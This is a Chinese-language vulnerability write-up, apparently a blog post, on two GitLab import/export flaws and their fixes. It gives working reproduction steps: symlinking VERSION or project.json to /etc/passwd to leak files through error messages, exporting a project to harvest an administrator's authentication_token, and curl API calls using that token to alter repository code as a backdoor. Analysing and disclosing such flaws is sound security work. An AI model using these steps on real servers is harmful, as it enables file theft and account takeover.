2.服务器根据Project.json
文件创建一个新的项目,并将对应的项目文件拷贝到服务器上对应的位置。
检测VERSION
文件的代码位于:/lib/gitlab/import_export/version_checker.rb
中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
... def check! version = File.open(version_file, &:readline) verify_version!(version) rescue => e shared.error(e) false end ... def verify_version!(version) if Gem::Version.new(version) != Gem::Version.new(Gitlab::ImportExport.version) raise Gitlab::ImportExport::Error.new("Import version mismatch: Required #{Gitlab::ImportExport.version} but was #{version}") else true end end ... |
我们可以看到这里的逻辑是读取VERSION
文件的第一行赋值给变量version
,然后检测verison
与当前版本是否相同,相同返回true
,不相同则返回错误信息(错误信息中包括变量version
的值). 于是漏洞发现者Jobert Abma
巧妙的使用了软链接来达到读取任意文件的目的。首先,我们给VERSION
文件加上软链接并重新打包。
1 2 |
ln -sf /etc/passwd VERSION tar zcf change_version.tar.gz ./ |
这样,读取VERSION
文件的时候服务器就会根据软链接读取到/etc/passwd
的第一行内容并赋值给version
。但是由于version
与当前版本不相同,所以会输出version
的值,也就是/etc/passwd
第一行的内容。
访问之前搭建好的GitLab服务器,创建一个新的项目,填写完项目名称后在Import project from
一栏中选择GitLab export
,上传我们修改后的导入包,然后就可以看到/etc/passwd
文件第一行
但是,如果只读取任意文件的第一行,能做的事情还是太少了。漏洞发现者显然不满足这一结果,他继续找了下去.
读取Project.json
这一配置文件的代码位于:/lib/gitlab/import_export/project_tree_restorer.rb
中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
... def restore json = IO.read(@path) tree_hash = ActiveSupport::JSON.decode(json) project_members = tree_hash.delete('project_members') ActiveRecord::Base.no_touching do create_relations end rescue => e shared.error(e) false end ... |
在这里,我们可以再次使用软链接使变量json
获取到任意文件的内容,但是由于获取的文件不是json
格式,无法decode
,导致异常抛出,最终在前端显示出任意文件的内容。 添加软链接并打包:
1 2 |
ln -sf /etc/passwd project.json tar zcf change_version.tar.gz ./ |
上传导出包,页面上显示的结果:
1.注册一个普通用户,创建一个新的项目
2.在项目的member
选项中,添加管理员到项目中。
3.点击edit project
,找到Export project
部分,点击Export project
,等待几分钟去查看注册邮箱收到的下载地址或者刷新页面,点击Download export
下载导出包。
4.导出包的project.json
中已经含有了管理员的authentication_token
。
得到authentication_token
之后我们就可以通过api
做管理员可以做的事情了,比如查看管理员所在的项目:
我们在\app\controllers\projects_controller.rb
中找到了export
函数,这个函数被用来导出项目文件。
1 2 3 4 5 6 7 8 |
def export @project.add_export_job(current_user: current_user) redirect_to( edit_project_path(@project), notice: "Project export started. A download link will be sent by email." ) end |
往下跟add_export_job()
,在\app\models\project.rb
中:
1 2 3 4 5 6 7 8 9 |
def add_export_job(current_user:) job_id = ProjectExportWorker.perform_async(current_user.id, self.id) if job_id Rails.logger.info "Export job started for project ID #{self.id} with job ID #{job_id}" else Rails.logger.error "Export job failed to start for project ID #{self.id}" end end |
继续到\app\workers\project_export_worker.rb
文件的ProjectExportWorker.perform_async()
:
1 2 3 4 5 6 7 8 9 10 11 12 |
class ProjectExportWorker include Sidekiq::Worker sidekiq_options queue: :gitlab_shell, retry: 3 def perform(current_user_id, project_id) current_user = User.find(current_user_id) project = Project.find(project_id) ::Projects::ImportExport::ExportService.new(project, current_user).execute end end |
这里我们可以看到current
获取的是User.find(current_user_id)
的内容,然后调用::Projects::ImportExport::ExportService.new(project, current_user).execute
由于笔者之前没有接触过ruby,这里只好采用gitlab-rails console
来找到User.find()
的值。可以看到,在User.find()
中,存在authentication_token
的值。
跟到\app\services\project\import_export\export_service.rb
,这里执行version_saver, avatar_saver, project_tree_saver, uploads_saver, repo_saver, wiki_repo_saver
这五个函数来写各种导出文件,其中project_tree_saver()
负责导出project.json
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
module Projects module ImportExport class ExportService < BaseService def execute(_options = {}) @shared = Gitlab::ImportExport::Shared.new(relative_path: File.join(project.path_with_namespace, 'work')) save_all end private def save_all if [version_saver, avatar_saver, project_tree_saver, uploads_saver, repo_saver, wiki_repo_saver].all?(&:save) Gitlab::ImportExport::Saver.save(project: project, shared: @shared) notify_success else cleanup_and_notify end end def version_saver ... end end end |
跳过之后的几个繁琐的调用之后,执行了lib/gitlab/import_export/json_hash_builder.rb
中的create_model_value
函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
# Constructs a new hash that will hold the configuration for that particular object # It may include exceptions or other attribute detail configuration, parsed by +@attributes_finder+ # # +current_key+ main model that will be a key in the hash # +value+ existing model to be included in the hash # +json_config_hash+ the original hash containing the root model def create_model_value(current_key, value, json_config_hash) parsed_hash = { include: value } parse_hash(value, parsed_hash) json_config_hash[current_key] = parsed_hash end # Calls attributes finder to parse the hash and add any attributes to it # # +value+ existing model to be included in the hash # +parsed_hash+ the original hash def parse_hash(value, parsed_hash) @attributes_finder.parse(value) do |hash| parsed_hash = { include: hash_or_merge(value, hash) } end end |
这里出现了逻辑问题,由于parsed_hash
这个变量不是全局变量,所以create_model_value()
中执行parse_hash()
时,parse_hash()
中的parsed_hash
被改变,但是create_model_value()
函数中的parsed_hash
不会变,这就造成了parse_hash()
这个函数执行后create_model_value()
中parsed_hash
这个值并没有改变。因此最后导出的文件包含了authentication_token
。
我们在gitlab-rails console
里展示了这两者的区别。当value=user
的时候,parsed_hash={:include=>:user}
,输出的结果如同图中的user.as_json()
,会将所有内容输出,包括authentication_token
。当parsed_hash
为经过parse_hash()
处理后的{:include=>{:user=>{:only=>[:id, :email, :username]}}}
时,输出结果与user.as_json(only: [:id, :email, :username])
相同。
在hackone的两个报告中,漏洞发现者都提到了leads to RCE
,笔者尝试去实现这一点。由于GitLab
源码在gitlab.com
上,所以当获取了GitLab
的管理员权限后,我们可以通过authentication_token
修改GitLab
项目的源码,留下自己的后门。 为了重现这种情况,我们在本地新建一个新的项目去通过authentication_token
和GitLab api
来修改项目文件。
用root
账户创建一个项目:test_rce
,其中README.md
的内容为created by root
接下来,我们要用gitlab
的api
来修改它。首先,根据projects的api
找到test_rce
项目对应的id
,这里是18
1 |
curl -H "PRIVATE-TOKEN: wTPMMapDwpfkKfNws7xp" "http://domain/api/v3/projects" |
我们再根据api
读取一下文件
1 |
curl -H "PRIVATE-TOKEN: wTPMMapDwpfkKfNws7xp" "http://domain/api/v3/projects/18/repository/files?file_path=README.md&ref=master" |
这里,content
为Y3JlYXRlZCBieSByb290
,这是文件内容被base64
加密后的结果,解密一下就可以看到created by root
根据api
的要求,我们通过PUT
数据来修改文件,将README.md
修改为change by notroot
。 当我们再读一次,content
内容为:Y2hhbmdlIGJ5IG5vdHJvb3Q=
,解码之后就是change by notroot
不得不说,笔者所实现的这种方式攻击时间跨度很长,能否执行命令取决于开发者下一次更新的时间,这也是这种方法的缺点之一。
我们可以看到,官方先移除了导入包里的软连接,其次,读取VERSION
的内容和project.json
的内容出错后将内容输出到日志里而非返回到前端。
官方让json_config_hash[current_key]
获取到parse_hash()
处理后的值。